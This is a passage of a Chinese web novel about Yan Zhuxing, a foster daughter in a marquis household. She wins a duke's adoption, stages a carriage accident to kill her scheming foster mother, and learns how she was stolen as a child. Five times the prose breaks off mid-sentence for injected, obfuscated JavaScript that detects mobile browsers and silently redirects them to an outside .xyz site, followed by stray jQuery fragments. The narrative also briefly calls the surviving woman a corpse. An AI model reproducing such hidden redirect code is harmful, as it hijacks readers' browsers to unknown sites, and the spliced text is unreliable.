“夫君把我当成什么人了。”赵玉润抿着唇有些不高兴。
她又不是傻子,光听娘家人一面之词。
昨日她已经拷问过儿子身旁伺候的两个小厮,都说没见过晏逐星,是赵云霏的丫鬟将人引走的。
而且永安王也说了,此事最该感谢的是晏逐星,她保全了两家的体面。
他们怎么能恩将仇报呢。
“那夫人打算怎么做?”烈国公松了一口气。
赵玉润说出了自己的打算:“要不咱们就顺水推舟,定下两家的婚事吧。”
“这不合适吧?”烈国公大吃一惊,“那丫头和咱们闺女差不多大,你这……”
“你先听我说完。”赵玉润打断了他。
“我觉得定远侯夫妇似乎不待见那丫头,与其让她在定远侯府里受苦,倒不如让她嫁过来,日后咱们拿她当闺女对待。等过个两年,从族里过继一个孩子到她膝下,认她当娘亲。”
“待到咱们百年之后,她和孩子也能照顾好敦儿。若日后敦儿不在了,也有人给他上香。”
烈国公听到夫人这话,也有些意动:“若今日定远侯府来人,咱们便探探那丫头的口风,若是她不愿,就算了。”
“好。”赵玉润点点头,和夫君达成了一致。
两人神情放松下来,下人却满头大汗地跑了进来,语气急切:“国公爷,夫人,世子醒了,吵着闹着要妹妹。”
“好端端的,敦儿怎么会又喊着要妹妹呢。”赵玉润眼眶顿时红了。
诞下女儿后,一直是儿子陪伴在侧,兄妹两人感情极好。
去年女儿忽然逝世,她足足花了半年的时间,才让儿子接受了妹妹不在了的事情。
怎么去了一趟威宁侯府回来,他又把这事给想起来了。
“别急,咱们先看看去。”烈国公握住了夫人的手,牵着她去找儿子。
夫妻俩一进屋子,就看到儿子一脚踹飞绣花枕头,把整床锦被都扯到地上乱踩。
他像小狗打滚似的瘫在地上,两条腿把青砖地蹬得咚咚响,鼻涕眼泪糊了满脸。
“要妹妹!敦儿现在就要妹妹!”
一旁伺候的两个丫鬟拽他胳膊拽得满脸通红,却没法把他拉起来。
“尉迟敦!你这样子,成何体统!还不赶紧给我坐好。”烈国公沉下脸教训儿子。
听到父亲的声音,尉迟敦有些害怕,他“咕噜”一下坐直了身子,随后爬起来走到了母亲身边。
“娘亲,我要妹妹。”
赵玉润掏出帕子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497764|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,温柔地替他擦掉眼泪。
“娘亲不是说过吗,妹妹不在了,去天上了,变成星星夜夜陪伴着你呢。”
“娘亲骗人,我昨日才见过妹妹!”尉迟敦噘着嘴就要哭。
但看到烈国公瞪成铜铃般的眼睛,又扁扁嘴,将眼泪收了回去。
赵玉润横了夫君一眼,继续温柔询问儿子:“你是不是把云霏他们当成妹妹啦?”
“不是。”尉迟敦重重摇头,他脑海里模模糊糊闪过了晏逐星的脸。
“**,妹妹!”
“就是妹妹!我要妹妹!”
尉迟敦越说越急,抓着母亲的手加重了力道,眼泪又掉了下来。
“不哭不哭。”赵玉润疼得皱起了眉头。
烈国公瞧见这一幕,赶忙拍掉儿子的手,心疼地给老妻揉了揉。
赵玉润灵光一闪:“昨日敦儿见过的女眷,除了威宁侯府的,好像就只剩定远侯府的大小姐了!你说,他是不是把人家当成晞儿了?”
“你别说,还真有可能。”烈国公点了点头。
“呜呜呜,要妹妹。”一旁的尉迟敦见爹娘不理自己,扯着嗓子又哭了起来。
“不许哭,再哭就不让你见妹妹。你可是哥哥,当哥哥的整日哭哭啼啼像什么话。”烈国公嗓门比他更大。
他这一吼,尉迟敦便老实了,委屈巴巴地看着老父亲。
他不哭出声了,只是默默流眼泪,让人看得更难受了。
烈国公到底还是心疼儿子,他看向夫人:“要不,咱们现在派人去把人请来吧。省得敦儿一直哭闹个不停。”
“好。”赵玉润自然不会反对。
她也想知道,为什么儿子会把只有一面之缘的晏逐星认成了妹妹。
很快,烈国公府的管家便驾着马车去定远侯府接人了。
得知国公府来人,温如霜一惊。
难不成是她放出的流言,惹恼了烈国公一家?
第21章 试探
温如霜一颗心七上八下,接见了国公府来的人。
“小的见过定远侯夫人。不知贵府大小姐可在?国公爷和夫人想见她。”
听到这话温如霜眉头微皱,面露迟疑。
如果单独让晏逐星去见烈国公一家,她肯定会乱说话。
可如今有永安王的人在一旁护着,她又不好下手。
再加上晏逐星院子里有小厨房,她不吃大厨房的东西,她连下药让她闭嘴的机会都找不到。
一时间,温如霜进退两难。
国公府的管家看出了她面色的不对劲,试探道:“大小姐可是出了什么事?”
温如霜反过来试探他:“不知国公爷和夫人为何想见小女?”
管家回答滴水不漏:“主子的想法,我们这些做下人的怎么会知道。只不过临行前,国公爷下了死令,今日必须要见到贵府大小姐。”
话都说到这份上了,温如霜自然不能阻拦。
她命贴身丫鬟芰荷领着数十个仆从去玉澜院传话。
看到他们这么大的阵仗,双鲤第一时间张开双臂挡在了晏逐星面前。
“你们想做什么?裴大人今日可还要来问话,还有永安王府上的姐姐也在呢,你们休想伤害小姐!”
没想到芰荷压根不在乎她的威胁,轻轻一抬手,那十个人全都冲了过来。
晏逐星后退半步,温如霜还不死心么,竟然又来。
她下意识地防备。
没想到,那些人没对她动手,而是直冲双鲤而去。
捉住了双鲤,反剪她的双手,将她按倒在地。
芰荷微微一笑:“大小姐,夫人让我给您带句话,您若想保住这丫头的命,去了国公府,该说什么不该说什么,您可得想清楚了。”
晏逐星咬紧牙关,眸色陡然变冷。
原来,他们一开始就是冲着双鲤来的。
他们不敢动她,但一个丫鬟,随便找个借口就可以把她弄**。
心底杀意翻腾,晏逐星一字一句道:“若我回来之后,没看到完好无损的双鲤,定远侯府任何一个人,我都不会放过。”
听到这话,双鲤眼泪“歘”地落了下来。
她哽咽着想说话,却一个字都说不出来。
“大小姐,请吧。”芰荷做了个手势。
“去国公府,我自然要梳洗打扮一番,急什么。”晏逐星冷冷回应,脑海里飞速闪过昨日的画面。
永安王既然是站在她这边的,他带走了尉迟敦,肯定会跟国公夫人解释清楚,错不在她。
那么今日国公府要她过门一叙,未必是问罪。
昨日永安王将衔蝉送来后,她跟衔蝉打听了不少关于国公府的事情。
方才知晓尉迟敦有个妹妹叫尉迟晞,去年坠湖淹**。
尉迟敦或许是把她当成了尉迟晞。
她灵机一动,找了一件和昨天做客时穿的颜色相仿的衣裳,又叫半棠进来给她梳了昨日一样的发髻。
随后,她翻出一张一百两的银票塞到了半棠手里。
“小姐,奴婢惶恐。”半棠露出了惊恐的表情,赶忙跪在地上双手将银票举起交还给晏逐星,仿佛接到了什么烫手山芋。
“你帮我办一件事。办好了,这银票就归你。事成之后,等我从国公府回来,我会再给你一百两银票。”晏逐星面容平静,将她搀扶起来。
半棠看着手里的银票,艰难地咽了咽口水。
她一个月的月银不过二两银子。
前后加起来二百两,抵得上她干十几年的月银了。
有了这些银子,爹爹的腿能治了,兄长也能娶亲了。
“我的时间不多,你考虑好了吗?”晏逐星再次开口。
半棠看着那张银票,咬牙决定赌一把:“奴婢愿为大小姐效力!”
晏逐星冲她招了招手,示意她附耳过来。
她低声耳语几句后,半棠脸色变化莫测。
“大小姐,劳烦您快些,国
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497765|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
公府的人还等着呢。”门外的芰荷催促道。
晏逐星扫了半棠一眼,补上了最后一句话。
“你若拿了我的银钱不办事,茉儿的下场,就是你的下场。”
半棠瞳孔猝然收缩,齿间将下唇咬出一道血痕。
茉儿的死,对定远侯府的下人来说都是一个噩梦。
头身分离,最后卷了个草席被抛入乱葬岗。
她忽然觉得手里的银票有些烫手。
晏逐星说完便推门而出,跟着芰荷去了会客厅。
温如霜冲芰荷使了个眼神,芰荷微微颔首,温如霜便明白事情办妥了。
她露出一副慈爱的表情:“星儿,国公爷和夫人想见你,你随母亲去一趟吧。”
晏逐星默不作声地点了点头,和她一块上了马车。
很快就抵达了国公府。
一见到烈国公夫妇,温如霜就开始道歉,不给晏逐星开口的机会。
她用帕子擦了擦泛红的眼尾:“这孽障昨日竟敢给世子下药,当真是罪该万死。可这也事出有因。她知晓自己非侯府血脉后,害怕被赶走,这才生出了这样腌臜的念头。”
“她做错了事,本该任凭二位处置。但我心里不落忍啊。她虽然非我亲生,却也在我膝下养了十几年。还望国公爷和夫人,给她一个改过自新的机会。”
她这番话说得好听,黑锅全扣在了晏逐星身上,又表露了一番自己的慈母心肠。
不明真相的人,大概都会觉得她真是为晏逐星操碎了心。
烈国公和夫人赵玉润对视一眼,随后看向了晏逐星。
赵玉润开口道:“孩子,你可有话要对我们说?”
温如霜的心沉了沉。
威宁侯那边不是说已经和国公府这边通过气了么,怎的他们不按说好的来,在她道歉后直接惩罚晏逐星,反倒对晏逐星这般和颜悦色?
迎着烈国公夫妇的目光,晏逐星点了点头。
“有。”
第23章 一切都和她的计划背道而驰
“国公爷抬爱,原不该推辞,只是晚辈觉得此事有些不妥。”
听到这话,烈国公有些意外,他还以为晏逐星会答应呢。
他有些惋惜,忍不住道:“你要不要再考虑几天?”
晏逐星摇了摇头。
“世子将我认成了妹妹,只是个意外,只要找到了原因,或许可以对症下药。”
她并非独一无二,不可取代的。
如果哪天尉迟敦把别人当做妹妹,她又该如何在国公府自处。
就像晏明月回家后,她在侯府就没了立足之地。
靠人人会跑,靠山山会倒。
如今,她只相信自己。
烈国公也跟着摇了摇头:“府里有和晞儿年岁相仿的丫鬟,但敦儿从未把别人认成妹妹。你是唯一一个。”
晏逐星提议道:“要不换上差不多的衣裳试试看?”
烈国公同意了。
他在府中找到了几个身高年龄和晏逐星差不多的丫鬟,又让他们换上了尉迟晞从前的衣裳,梳了一样的发髻,随后把尉迟敦叫了过来。
没想到,尉迟敦看都不看旁人一眼,直奔晏逐星而去。
他委屈巴巴地开口:“妹妹!你怎么不找我!”
烈国公和晏逐星对视一眼,都有些惊讶。
烈国公想了想,指着另一个丫鬟道:“敦儿,你认错人了,那个才是你妹妹。”
尉迟敦眯着眼眸打量了一下那个丫鬟,在她和晏逐星之间来回扫视。
最后还是坚定地扯了扯晏逐星的袖子:“爹爹骗人,这才是妹妹。”
试探了几回,晏逐星也换了衣裳,可尉迟敦就是认准了她。
几回下来,晏逐星心底有了一个猜测。
将丫鬟遣散后,晏逐星斟酌着开口:“我最近在补身子,日日都要喝上一大碗滋补的药膳。听闻尉迟小姐之前也是如此,会不会是我身上的药味让世子觉得很熟悉?”
烈国公露出一副恍然大悟的表情。
“言之有理。”
他老来得女,女儿身子骨比普通姑娘孱弱,因而常年喝补药,身上总是带着若有似无的药味。
而面前的小姑娘也是如此。
晏逐星提醒道:“既是如此,还请国公爷多多防范,省得旁人利用这事钻了空子,坑害了世子,那可就不妙了。”
烈国公听到这话,心下一凛。
是呀,万一有人扮做女儿的模样,引得敦儿认错人,犯下大错可就不妙了。
“丫头,多谢你的提醒。”烈国公想到这个场景,背后不由冒出了冷汗。
他看向晏逐星的眼神愈发满意了。
这么聪明又善良的小姑娘,不能给他当儿媳妇真是太可惜了。
想了想,他忍不住道:“虽然你不愿给我当儿媳妇,但敦儿这般喜欢你这个妹妹,要不你考虑考虑,给我当女儿?从此以后,你可以名正言顺地喊敦儿哥哥,你可愿意?”
晏逐星一愣,觉得这个提议倒是不错。
给烈国公夫妇当义女,可比当儿媳妇好多了。
等到认亲宴那日,那些说她下药勾引尉迟敦的谣言就会不攻自破了。
晏逐星勾起唇角,冲他屈膝行了个标准的武将礼:“能给您当闺女,我做梦都会笑醒,自然是一万个愿意的。”
听到这话,烈国公哈哈一笑,拍了拍她的肩膀。
“好,我就喜欢你这个性子。待我同夫人商议商议,找个良辰吉日,正式将你认作义女。”
……
屋内。
温如霜如坐针毡,心里烦躁不安。
烈国公夫人一直和她说些有的没的,丝毫不提晏逐星下药一事,她摸不准他们到底是个什么意思,连喝到嘴里的茶都变得没有滋味了。
迟迟没看到晏逐星受罚,瞧见烈国公领着晏逐星走了进来,她起身开口道:“时辰不早了,我该带着这丫头回府了。”
“行。那明日我再命人接你到府上来。”烈国公回头嘱咐晏逐星。
晏逐星点了点头。
她先前答应了烈国公,每日到府上陪尉迟敦玩一个时辰。
温如霜看着两人的表情,一肚子的疑惑。
烈国公这态度,不对劲啊。
“那世子下药一事……”她忍不住问了出来。
烈国公摆了摆手:“此事误会一场,就此作罢,我们不会再追究了。”
温如霜怔愣在原地。
她万万没想到,戏台已经搭好,却有人罢演了。
但她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497767|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又不敢对烈国公多说什么,只得勉强一笑:“星儿,还不快快道谢。要不是国公爷宽宏大量,你怕是要下大狱。”
“多谢国公爷,多谢夫人。”晏逐星真心实意地道谢。
“客气什么,反正咱们马上就要成为一家人了。”烈国公摆摆手,爽朗一笑。
“一家人?”温如霜惊得声音都拔高了。
“是,敦儿与她投缘,我和夫人有意将她收为义女。”烈国公把自己的决定说了出来,还当着温如霜的面给了晏逐星一块象征着烈国公府身份的玉佩。
温如霜如遭雷击。
她还想利用这事将晏逐星彻底按死,谁曾想,她竟然得了烈国公夫妇的青睐。
一切都和她的计划背道而驰。
接下来,她该如何跟晏逐星相处。
走出国公府的时候,温如霜还是恍惚的。
上了马车,她忍不住开口询问:“你使了什么法子,竟然哄得国公爷收你当义女?”
“国公爷同情我爹不疼娘不爱呗。”晏逐星面无表情地回答。
“你……”温如霜被她噎得说不出话来。
他们如今势同水火,晏逐星怎么可能跟她说实话。
她悻悻地闭上了嘴。
晏逐星掀开车帘往外看了一眼,也不知道半棠有没有把她交代的事情办妥。
马车不疾不徐地往侯府走去。
忽然,街上响起了一阵尖叫声,当中还夹杂着犬吠。
“救命啊——”
温如霜蹙眉,掀起半边车帘,想看看发生了什么。
一个披头散发的鹅黄衫女子在前边狂奔,一只大黄狗在后边对她穷追不舍,一人一狗直愣愣朝他们的马车冲了过来。
温如霜吓得脸色骤变。
车夫拽着缰绳的手青筋暴起,怒喝道:“闪开!快闪开!”
然而还是晚了。
马儿受了惊吓,前蹄腾空而起。
伴随着马儿的嘶鸣声,马车猛地向**斜。
温如霜后脑勺重重磕在雕花车壁上,天旋地转间听见“咔啦”的木轴断裂声。
车帘被整个掀飞,她察觉到身后有一双手推了她一把。
旋即,她整个人像断了线的纸鸢一般滚落在青石板上。
第24章 噩耗突如其来,他们没有半点准备
晏逐星早有准备,因而没有受惊。
她从马车里跟着扑了出来,佯装不受控制地推开了车夫,翻滚两圈落到地上。
温如霜跌倒在地后尚未缓过神来,就听到了跟在车旁的丫鬟划破天际的尖叫:“夫人当心!”
她扭头望去,就瞧见马儿的铁蹄裹着腥风朝她踏来。
温如霜惊恐地瞪大了眼睛,想要起身逃跑,但双手刚刚撑起还没爬起来,马蹄就重重踩到了她的腰上。
“咔嚓”
她清晰地听到了自己的腰间发出一声脆响,五脏六腑在这一刻仿佛都错位了一般,疼得她脸上的血色瞬间退去。
温热的血浆呛进鼻腔,她“哇”一下呕出一大滩血,随后整个人就晕了过去,不知死活。
马儿踩了这一脚,反倒把自己吓了一跳,调转了方向往另一边乱窜。
原本暗中跟随的停云想要出手,就瞧见东城兵马司副指挥江潮和马儿正面撞到了一起。
只见江潮一个旋身飞踢,毫不犹豫拔刀将受惊的马儿就地斩杀。
他默默退了回去,转身回王府去给王爷汇报此事。
吓白了脸的丫鬟哆嗦着跑了过去,跪倒在江潮手中还在滴血的刀尖旁,哭着开口:“大人救命啊,我家主子乃是定远侯夫人,遭此横祸,身受重伤,求您速请大夫!”
江潮看了一眼散架了的马车,瞧见了定远侯府的标志,眉心皱起。
他果断让下属去请了大夫,他来审问究竟发生了什么事。
得知是一条黄狗和一个女人引起的骚乱,他不禁在心底感慨定远侯夫人的倒霉。
“那狗和女子呢?”他四下张望,却没找到他们的踪迹。
围观的百姓一会儿指了东边,一会儿指了西边,没一个人能准确说出那一人一狗行踪的。
毕竟他们当时都吓得躲起来了,生怕被疯了的马伤到。
大夫拎着医药箱匆匆赶来,替温如霜施针。
止住血后,他抹了把额头的冷汗:“这腰椎骨断得彻底。老夫才疏学浅,只能替夫人把命吊住,往后……”
他看着沾血的手指,叹了一口气,才继续开口:“恐怕只得瘫在床上熬日子了。”
侯府丫鬟和车夫听到这话吓得面色惨白。
完了,夫人若是瘫痪在床,日后一定不会饶了他们的。
一旁的晏逐星听到这话,微微蹙眉。
她原本是打算今日就要了温如霜性命的。
谁让她这几日步步紧逼,一点活路也不给她留。
因此临行前,她便让半棠去找了九栀。
让九栀制造一场混乱,她好浑水摸鱼将温如霜推下马车,将她弄死。
没想到温如霜竟然这般命大,被马踩了还能活下来。
不过这样也好,等到明年晏明修考上了进士,要入翰林院后,她再取她性命。
到时候晏明修丧母就得丁忧三年。
机会就在眼前,却活生生地错过,晏明修的痛苦只会加倍。
而温如霜之后瘫痪在床,恐怕也会生不如死。
她瞥了一眼温如霜,暗暗在心中祈祷她要争点气,可别就这样**。
她还想让她亲眼看着侯府是如何败落的。
定远侯收到消息,领着次子晏明修匆匆赶来,得知温如霜下半辈子可能要瘫痪在床,一个踉跄差点跌倒在地。
噩耗突如其来,他们完全没有半点准备。
晏明修双目猩红扑向了晏逐星,揪着她的衣领质问:“是不是你害的母亲?”
晏逐星睁开眼睛,发现他身后竟然还跟着裴明镜。
她心头咯噔一跳。
裴明镜那厮可不好糊弄,不会被他发现什么问题吧?
“二少爷,大小姐也受伤了,你冷静点。”裴明镜上前按住了晏明修的肩,示意他松手。
“我娘都快**,你让我怎么冷静。”晏明修推开他的手,恨恨地盯着晏逐星,“你就是个灾星,你就该**。”
他恶狠狠地想要伸手掐住晏逐星的脖子,却再一次被裴明镜拦住了。
他淡淡道:“二公子莫非要当着本官的面行凶?”
晏明修气得咬牙切齿,狠狠甩开了他的手,死死盯着晏逐星,从齿缝中挤出一句:“岂敢。”
晏逐星吸了吸鼻子,低吼道:“昨日你们说我给世子下药,今日马车意外又要我说弑母。所以当初你们将捡我回来,就是为了给晏家养个替罪羊么?”
她嗤笑一声,眼角的泪顺着脸颊滑落。
“横竖要我死,何须费心罗织罪名。我这就**还不行吗。”
喊出这句话后,她拖着受伤的腿往前爬,发了狠地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497768|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想要一头撞向街边的楹柱。
额角距离柱子还有半寸距离的时候,她忽然被人拦腰抱住。
她睁眼一看,竟然是永安王。
“本王的玉坠还没找到,你可不能死。”
他将她小心地放回软舆上,冲着身后的季太医努了努嘴:“替她瞧瞧。过几日,她还得去宫里给十妹妹指点破阵舞呢。这腿可不能伤了。”
“是。”季太医认命地替晏逐星检查起伤口。
有他在,晏明修不敢造次,但看着晏逐星的眼神恨意不减。
谢翊宁看向晏明修,似笑非笑道:“本王记得大虞早就取消了活人殉葬的规矩吧。定远侯府的规矩难不成比国法还大?侯夫人尚未殒命,做兄长的就要逼迫妹妹陪葬?”
晏明修一张脸涨得通红,嗫嚅着唇不敢反驳。
定远侯不得不站出来收拾烂摊子。
他沉声道:“明修只是一时无法接受母亲重伤的噩耗,情急之下说错了话。还请王爷谅解。”
裴明镜的眼神在谢翊宁和晏逐星身上来回扫视。
是他的错觉么,他怎么觉得永安王格外护着定远侯府这位大小姐。
可是据他私下调查,二人除了在威宁侯府上见过一面,私底下并无往来。
他又看了一眼地上温如霜的尸体。
昨日这母女二人才反目成仇,今日侯夫人便受了重伤。
这真的是巧合吗?
裴明镜陷入了沉思。
“王爷,晏大小姐的腿……”季太医的话打破了对峙的尴尬氛围。
他正要说晏逐星只是骨折了,好好养护一段时间就行。
结果话还没说完,谢翊宁就打断了他:“嗯?晏大小姐的腿怎么了?是不是很严重?”
季太医看着他警告的眼神,听懂了他的话外音,当即露出了沉痛的表情,将真话咽了回去。
“晏大小姐的腿断了,若接骨时错上半分筋脉,只怕要落个终身跛疾。”
随后他又指了指晏逐星的后脑勺:“瘀血堵在这儿,若再深三分,便是大罗金仙也救不回来。”
晏逐星被他的话唬了一跳。
她跳下来的时候心里有数着呢。
她这腿顶多养一个月就没问题了,至于脑袋,也只是擦伤破了点皮,季太医怎么说得她跟快**一样。
第25章 将抱回晏逐星的事情一一道来
谢翊宁摸着手上的玉扳指,露出了一个浮夸的表情:“呀,竟这般严重。”
随后他又看向了定远侯。
“那侯爷可得好好照顾晏大小姐,等她康复了,应该就能想起我的玉坠在何处了。”
定远侯憋了一肚子的气,但又不敢对谢翊宁无礼,现下还有求于他,只能勉强挤出笑容,讨好道:“星儿是我的女儿,我当然会好好照顾她。王爷无需挂怀。能不能请季太医给我夫人也瞧瞧?”
谢翊宁点了点头。
季太医便去给温如霜检查了。
他得出的结论和先前那位大夫一样,能活,但会瘫痪一辈子。
趁此机会,裴明镜看向晏逐星,想要从她那里套出实话:“晏大小姐,本官有一事想请你解惑。”
晏逐星乖巧地点了点头:“大人您问。我一定知无不言言无不尽。”
结果还没等裴明镜开口,她整个人就歪在软舆上,忽地捂住额头,“嘶……我的头……好晕……”
话音落下,便闭上了眼睛。
裴明镜气笑了。
这人嘴上说着尽管来问,可他还没问,她就晕了。
有这心眼子,她在侯府里还能被欺负?
……
定远侯带着温如霜和晏逐星回府,晏明月得知母亲受了这么重的伤,当场哭晕了过去。
晏逐星被送回了玉澜院。
半棠被叫到了屋里,她惶恐不安地看着晏逐星。
她先前替大小姐去传了话,结果夫人就受重伤快**,这事不会和大小姐有关系吧?
晏逐星躺在床上,轻轻吐出一口气。
温如霜如今身受重伤,尚未苏醒,现在她的院子里恐怕正乱成一团,正是套话的好时机。
她果断下命令:“你去把双鲤接回来,顺便将李嬷嬷请来,让她把我的金镯子送回来。她若不肯带着东西过来,你就告诉她,我有一份大礼送给她,保证她见不到明天的太阳。”
金镯子?
半棠心里一阵骇然。
大小姐什么时候收买的李嬷嬷?
她越发猜不透晏逐星的举动,心底对她的畏惧渐渐加深,没敢多说废话,直接去办事了。
不一会儿,双鲤和李嬷嬷就都来了玉澜院。
“小姐,您没事吧?”双鲤看到床上受了伤的晏逐星,眼泪说流就流。
“我没事。你呢,他们没有欺负你吧?”晏逐星摸了摸她的脑袋。
“没有。”双鲤重重摇头。
小姐走之前放了狠话,夫人又不在,没个主事的,他们自然不敢对她滥用私刑。
晏逐星冲她笑了笑:“那就好。你去给我熬药膳吧,除了你,我不放心别人。”
“好!我保管不会让人害了小姐。”双鲤立刻爬起来去熬药。
小姐的吃食,那可绝对马虎不得。
一旁的半棠听着心底隐隐有些羡慕。
大小姐对双鲤真好。
二小姐虽然在外头总是一副菩萨下凡的温良模样,但她可是听瑶华院里的小姐妹们说过,二小姐一个不顺心就拿身边的人撒气。
她用银针专挑指甲盖底下的肉戳,疼得钻心又不见血。外院的人不知道这些事情,还以为他们跟在二小姐身边多幸福呢。
吩咐完双鲤干活,晏逐星又让半棠去替她做别的事情,将整个院子的人支使得团团转。
而李氏就这样被她晾在了一边。
李氏攥着帕子立在床边,眼睁睁看着丫鬟们进进出出,冷汗洇湿了中衣,她紧张极了。
夫人出事,大小姐将她叫来究竟是什么意思。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497769|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
难不成她都想起来了?
还有那份致命的大礼,究竟是什么东西。
晏逐星越是不说话,她就越紧张。
终于她忍不住先开了口:“不知大小姐寻老奴来所为何事?若是无事,老奴就先行告退了。毕竟夫人昏迷不醒,院子里还有许多事情等着老奴处理呢。”
晏逐星这才看向她:“我的金镯子呢?”
“大小姐说什么,老奴不明白。”李氏这会儿还想着蒙混过关。
“我小时候,温如霜将我偷来戴在我手上的金镯子呢?”晏逐星沉下了脸。
“你若不老实交代,待会儿谁来了都保不住你。”
“毕竟,你的床褥里可藏着皇后娘娘赐给我的金簪呢。”
“老奴冤枉啊。”李氏慌忙跪倒在地。
昨日大小姐才闹了一出御赐之物丢失的事情,若今日东西就在她那里找到,她有口也说不清。
更何况夫人如今昏迷,还不知道什么时候会醒。
若是晏逐星打定主意发作她,恐怕她撑不到夫人醒来就没了性命。
晏逐星微微一笑:“冤不冤枉,我心里有数。你若再不说实话,我就要大张旗鼓命人去搜你的屋子了。”
随后,她又将藏在怀中的玉佩掏了出来,在李氏面前晃了晃:“对了,忘记告诉嬷嬷一个好消息,烈国公要收我当义女了。回府前他曾放话,若我受了欺负,他一定会打上门来替我讨回公道。”
李氏一怔,没想到晏逐星竟然有这样的大造化,能让烈国公收下她当义女。
看着晏逐星威胁的目光,她哆哆嗦嗦地从怀里掏出了那个金镯子交给她,颤声道:“我说,我全都说。”
随后,她便将那年元宵灯会抱回晏逐星的事情一一道来。
第26章 上辈子的疑团在这一刻解开
“那年,是夫人的祖父过八十大寿,她便领着几位小主子回了青州贺寿。”
“寿宴结束后正赶上了青州的花灯节,夫人领着小主子们上街闲逛,没想到二小姐竟然丢了。”
“夫人不敢声张此事,悄悄派人去找。可找了好几日,都没找到二小姐。”
“京城这边,侯爷催着夫人归家。回京城的前夜,夫人在街上瞧见了您。您当时拿着一串糖葫芦,身边没有大人在。”
“夫人见你与二小姐有几分相似,便把你抱回府,让你顶替了二小姐的名义留下。”
晏逐星听完,冷不丁地开口:“我不可能乖乖听话,你们对我做了什么?”
李氏额角冒出了冷汗,事已至此,隐瞒已经没有意义,她只得和盘托出。
“您当时约莫两岁左右,已经认人,死活不肯改口叫夫人娘亲。于是夫人便给你下了药,让你彻底忘了前尘往事。”
上辈子的疑团在这一刻解开。
晏逐星把玩着那个金镯子,询问道:“所以,你们也不知道我的爹娘是谁?”
“没错。”李氏点了点头。
“夫人将你抱回来后,便马上领着你回了京城。后来派人回青州悄悄打听,也没有听说哪户人家孩子走丢报官,夫人就没有继续派人去寻找了。”
晏逐星总觉得此事透露出古怪。
这个金手镯上还镶嵌着异域来的宝石,价值不菲,想必她的爹娘对她应该很是疼爱。
这种情况下,怎么会让她一个小孩落在街头呢?
又怎么会弄丢她之后一直不去找她呢?
迷雾重重,晏逐星只得暂时将疑惑按下。
当务之急是先报仇,至于亲生父母,日后再慢慢寻找。
见晏逐星迟迟不说话,李氏忍不住道:“小姐,老奴知道的就这么多了……”
晏逐星想问的已经问出来了,她抬眸看向李氏:“你可以走。但出去之后,如果有人问你,你知道该怎么说吧?”
李氏忙不迭点头:“知道的。老奴定然不会泄露和您的谈话。”
要是让夫人知道她背叛了她,肯定不会让她好过的。
“不,烈国公要收我为义女一事可以说。”晏逐星打算借着她的口,将此事宣扬出去。
李氏一怔,而后惶惶不安地点头:“老奴记住了。”
瞧见晏逐星摆手让她离开,李氏松了一口气,像逃命似的跑出了玉澜院。
不曾想,刚走到一半,就被瑶华院的丫鬟拦住了。
“嬷嬷,二小姐有请。”
李氏刚放下的心又悬了起来。
糟了。
才出虎口又进狼窝,二小姐那边她该如何应对。
她忐忑不安地跟着丫鬟去了瑶华院。
果不其然,晏明月见到她的第一句话就是:“晏逐星找你做什么?”
李氏老老实实按照晏逐星的交代说了出来。
“什么?!烈国公一家不该恨死她了么,怎么还会收她当义女?”晏明月惊呼声陡然劈了岔。
“老奴也不知呀。如今夫人昏迷不醒,得尽快命人去往青州给温家送信呢。”李氏转移话题。
